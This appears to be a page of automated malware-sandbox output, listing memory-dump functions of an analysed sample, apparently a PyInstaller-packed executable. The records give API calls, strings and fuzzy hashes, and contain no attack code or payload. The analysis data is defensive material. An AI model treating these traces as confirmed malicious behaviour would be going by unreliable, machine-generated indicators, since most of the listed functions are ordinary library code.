Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: 870eb6fc6106efc71abb7fd260fe0838bba690b09f9ed7633e88a6430e8dadb6
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 1D21A132608B8186EB61EF28D440379B7A0FB84B54F9842B5EA5D876DDDF3CD401CB21

Function 00007FF7EAD103BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD10410

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 255d7391021efd3bdff95e3844f6d7295641bbccf7e78d129de294dd346b75f7
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 8D018261B0874940F504FB6299402A9E795FFA5FE0F894672DE5C17BDECE3CE4018311

Function 00007FF8E8136BEC Relevance: 1.5, APIs: 1, Instructions: 19networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF8E8136C1B

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f75e51da77dfc1082f19fe342fcab0b157519f4804096b52c81e4ca3d592fddb
Instruction ID: ef273ee71972dec6e6a9638c7a26a905475f26c4bda3a3308901f3929aa819d7
Opcode Fuzzy Hash: f75e51da77dfc1082f19fe342fcab0b157519f4804096b52c81e4ca3d592fddb
Instruction Fuzzy Hash: 24E012F2A14A8582DB289BA6E44426863A0F719FF4F245721CA381B3D0DE28D9E1C740

Function 00007FF7EAD08E80 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7EAD09390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7EAD045F4,00000000,00007FF7EAD01985), ref: 00007FF7EAD093C9

LoadLibraryExW.KERNEL32(?,00007FF7EAD06476,?,00007FF7EAD0336E), ref: 00007FF7EAD08EA2

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 3eee33850ff877a76f59ec51b6af72cd7d073a691558276a485592abc3036afa
Instruction ID: 0cd5ea4a23c9f484ed908a5932d86f5b3d9d597a6a239652499352a9af5477e4
Opcode Fuzzy Hash: 3eee33850ff877a76f59ec51b6af72cd7d073a691558276a485592abc3036afa
Instruction Fuzzy Hash: F5D08C11B2424542FA48F777BA467699252AB89BC0F88C076EE1D03B4EDC3CC0418B00

Function 00007FF7EAD1D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF7EAD10C90,?,?,?,00007FF7EAD122FA,?,?,?,?,?,00007FF7EAD13AE9), ref: 00007FF7EAD1D63A

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 4e75942390d74251708174c86bbe5854b8d2a36d7cea8b24552fb5be8cf2454a
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 5AF0D450B0924A45FE65B7B158417759394DFA4BA0FC806B2D9BE862CADF3CA4808672

Non-executed Functions

Function 00007FF7EAD089E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257synchronizationwindowregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7EAD09390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7EAD045F4,00000000,00007FF7EAD01985), ref: 00007FF7EAD093C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08A56

Part of subcall function 00007FF7EAD1A47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD1A490

Part of subcall function 00007FF7EAD1871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD18783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08AE6
CreateProcessW.KERNEL32 ref: 00007FF7EAD08B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08B28

Part of subcall function 00007FF7EAD02C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7EAD03706,?,00007FF7EAD03804), ref: 00007FF7EAD02C9E
Part of subcall function 00007FF7EAD02C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7EAD03706,?,00007FF7EAD03804), ref: 00007FF7EAD02D63
Part of subcall function 00007FF7EAD02C50: MessageBoxW.USER32 ref: 00007FF7EAD02D99

RegisterClassW.USER32 ref: 00007FF7EAD08B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08B8B
CreateWindowExW.USER32 ref: 00007FF7EAD08BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08C15
PeekMessageW.USER32 ref: 00007FF7EAD08C39
TranslateMessage.USER32 ref: 00007FF7EAD08C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08C51
PeekMessageW.USER32 ref: 00007FF7EAD08C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08E04
GetExitCodeProcess.KERNEL32 ref: 00007FF7EAD08E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF7EAD03F7F), ref: 00007FF7EAD08E2F

Strings

PyInstaller Onefile Hidden Window, xrefs: 00007FF7EAD08B95
PyInstallerOnefileHiddenWindow, xrefs: 00007FF7EAD08B54
Failed to create child process!, xrefs: 00007FF7EAD08B30
CreateProcessW, xrefs: 00007FF7EAD08B37

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: 235a67f0b1412dbbdebda2e637d2da7591839ba84bc1f88a3a8e8885d7006363
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: 81D19432A08A8286F710EF34E8943ADB765FF94B58F800276DA5D43A98DF7CD154C721

Function 00007FF8E80F5CBC Relevance: 24.9, APIs: 1, Strings: 13, Instructions: 364COMMON

Download Yara Rule

APIs

00007FF8F874DDE0.VCRUNTIME140 ref: 00007FF8E80F5E55

Strings

IP Address, xrefs: 00007FF8E80F5F55
Registered ID, xrefs: 00007FF8E80F5ED9
%X:%X:%X:%X:%X:%X:%X:%X, xrefs: 00007FF8E80F6036
DirName, xrefs: 00007FF8E80F6069
Unknown general name type %d, xrefs: 00007FF8E80F5DEE
%d.%d.%d.%d, xrefs: 00007FF8E80F5F91
<invalid>, xrefs: 00007FF8E80F6048
URI, xrefs: 00007FF8E80F60BA
Invalid value %.200s, xrefs: 00007FF8E80F61BD
failed to allocate BIO, xrefs: 00007FF8E80F5D1D
email, xrefs: 00007FF8E80F60CC
DNS, xrefs: 00007FF8E80F60C3
<INVALID>, xrefs: 00007FF8E80F5F12

Memory Dump Source

Source File: 00000002.00000002.1495132572.00007FF8E80F1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FF8E80F0000, based on PE: true

Associated: 00000002.00000002.1494989941.00007FF8E80F0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E80FE000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E8111000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811A000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811E000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495565226.00007FF8E8121000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495640960.00007FF8E8123000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e80f0000_SecuriteInfo.jbxd

Similarity

API ID: 00007F874
String ID: %X:%X:%X:%X:%X:%X:%X:%X$%d.%d.%d.%d$<INVALID>$<invalid>$DNS$DirName$IP Address$Invalid value %.200s$Registered ID$URI$Unknown general name type %d$email$failed to allocate BIO
API String ID: 3612976672-4109427827
Opcode ID: 3a8733b9f8724a0ad4dac92debb2868cdbdf7ad001dd02e936b03acc83697b27
Instruction ID: 3a55ef73a50a13c22e00d4146dfa27396ee97a9ceb6d9244052f6d6866c94d08
Opcode Fuzzy Hash: 3a8733b9f8724a0ad4dac92debb2868cdbdf7ad001dd02e936b03acc83697b27
Instruction Fuzzy Hash: 34F15E32A0DA8286FE658BA1A85833D67A1BF85BC1F48C435DA5E467D0DF3CF514C70A

Function 00007FF8E7963248 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8E7963264
00007FF8F8751A90.VCRUNTIME140 ref: 00007FF8E7963288
RtlCaptureContext.KERNEL32 ref: 00007FF8E7963291
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8E79632AB
RtlVirtualUnwind.KERNEL32 ref: 00007FF8E79632EC
00007FF8F8751A90.VCRUNTIME140 ref: 00007FF8E796331F
IsDebuggerPresent.KERNEL32 ref: 00007FF8E7963340
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8E796335D
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8E7963368

Memory Dump Source

Source File: 00000002.00000002.1488870171.00007FF8E7961000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FF8E7960000, based on PE: true

Associated: 00000002.00000002.1488485527.00007FF8E7960000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E79AA000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E79B8000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A07000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A0C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A0F000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1489614277.00007FF8E7A10000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1489734191.00007FF8E7A12000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7960000_SecuriteInfo.jbxd

Similarity

API ID: 00007ExceptionF8751FilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 1180211362-0
Opcode ID: c016222525537ec18d5e696995a9a3f380ff0682bd70983648a287384bccb3b7
Instruction ID: f9e3a05f61c57739c4702db93db31246234c44cb14f5f8f2e9271ba6b912f26f
Opcode Fuzzy Hash: c016222525537ec18d5e696995a9a3f380ff0682bd70983648a287384bccb3b7
Instruction Fuzzy Hash: A2312AB2608B8286EB60AFA1E8443AD6371FB84784F40413ADA6E47B99DF3CD548C711

Function 00007FF7EAD083C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00007FF7EAD08919,00007FF7EAD03FA5), ref: 00007FF7EAD0842B
RemoveDirectoryW.KERNEL32(?,00007FF7EAD08919,00007FF7EAD03FA5), ref: 00007FF7EAD084AE
DeleteFileW.KERNEL32(?,00007FF7EAD08919,00007FF7EAD03FA5), ref: 00007FF7EAD084CD
FindNextFileW.KERNEL32(?,00007FF7EAD08919,00007FF7EAD03FA5), ref: 00007FF7EAD084DB
FindClose.KERNEL32(?,00007FF7EAD08919,00007FF7EAD03FA5), ref: 00007FF7EAD084EC
RemoveDirectoryW.KERNEL32(?,00007FF7EAD08919,00007FF7EAD03FA5), ref: 00007FF7EAD084F5

Strings

%s\*, xrefs: 00007FF7EAD083F2

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: 583ef5b254f7ff1f7114440e18d99883d7db02a05b27b2c37a6eead3137a212d
Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: B4414121A0CA8285FA20EB24E4843BEB362FB94758FC00273D59D4269CEF7CE555C762

Function 00007FF8E7A2212B Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8E7A9F3A0
RtlCaptureContext.KERNEL32 ref: 00007FF8E7A9F3CD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8E7A9F3E7
RtlVirtualUnwind.KERNEL32 ref: 00007FF8E7A9F428
IsDebuggerPresent.KERNEL32 ref: 00007FF8E7A9F47C
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8E7A9F499
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8E7A9F4A4

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 42b55a9a064fc9b9eecda881d5f6a8203af3c995eb229b08bbbd6dd66c50bcf0
Instruction ID: 2cf2ed9a7c7ec29d25f1bad7313fc5ab5e79b5ddf4c6a3d30a84afb0d25fa96b
Opcode Fuzzy Hash: 42b55a9a064fc9b9eecda881d5f6a8203af3c995eb229b08bbbd6dd66c50bcf0
Instruction Fuzzy Hash: D4313C76709A8186EB608FA1E8417ED73A0FB88788F44403ADB5E47B95DF3CD548C701

Function 00007FF8E8133318 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8E8133334
RtlCaptureContext.KERNEL32 ref: 00007FF8E8133361
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8E813337B
RtlVirtualUnwind.KERNEL32 ref: 00007FF8E81333BC
IsDebuggerPresent.KERNEL32 ref: 00007FF8E8133410
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8E813342D
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8E8133438

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 8bb2c844973f8a307a2fb197422134c0be9fa62acd3dd33c558e307c9d71f774
Instruction ID: 02c638f09594fe8918723b3a1d5a2ff0e0f5692a82cc834209b0834f5e796133
Opcode Fuzzy Hash: 8bb2c844973f8a307a2fb197422134c0be9fa62acd3dd33c558e307c9d71f774
Instruction Fuzzy Hash: 54315E72609B8186EB609FA0E8803ED7374FB85B88F05443ADA4E57B94DF3CD548C709

Function 00007FF7EAD0D12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7EAD0D148
RtlCaptureContext.KERNEL32 ref: 00007FF7EAD0D175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7EAD0D18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF7EAD0D1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF7EAD0D224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7EAD0D241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7EAD0D24C

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: 7690faec4d4eb51db33b0a18cf866503fa47c1b85a6e53cf763e3c4af380cf83
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: 4E311072608B818AEB60DF60E8803ED7365FB94748F44407BDA4D47B98DF78D548C721

Function 00007FF8E80F339C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8E80F33B8
RtlCaptureContext.KERNEL32 ref: 00007FF8E80F33E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8E80F33FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF8E80F3440
IsDebuggerPresent.KERNEL32 ref: 00007FF8E80F3494
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8E80F34B1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8E80F34BC

Memory Dump Source

Source File: 00000002.00000002.1495132572.00007FF8E80F1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FF8E80F0000, based on PE: true

Associated: 00000002.00000002.1494989941.00007FF8E80F0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E80FE000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E8111000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811A000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811E000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495565226.00007FF8E8121000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495640960.00007FF8E8123000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e80f0000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 8e86fcbda8d44a87da12ad3cbe0ff2274eff02410a8037cee209cf92a2e866f6
Instruction ID: 6a130a50800aead81d05da99c36de12e3ede94f30fa31d23e5b546feae89f4f5
Opcode Fuzzy Hash: 8e86fcbda8d44a87da12ad3cbe0ff2274eff02410a8037cee209cf92a2e866f6
Instruction Fuzzy Hash: 28311A72609B818AEB60CFA0E8407ED7365FB84794F44843ADA4E47B94EF3CD548C719

Function 00007FF8E80D4390 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8E80D43AC
RtlCaptureContext.KERNEL32 ref: 00007FF8E80D43D9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8E80D43F3
RtlVirtualUnwind.KERNEL32 ref: 00007FF8E80D4434
IsDebuggerPresent.KERNEL32 ref: 00007FF8E80D4488
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8E80D44A5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8E80D44B0

Memory Dump Source

Source File: 00000002.00000002.1493380127.00007FF8E80D1000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FF8E80D0000, based on PE: true

Associated: 00000002.00000002.1493237876.00007FF8E80D0000.00000002.00000001.01000000.00000011.sdmpDownload File
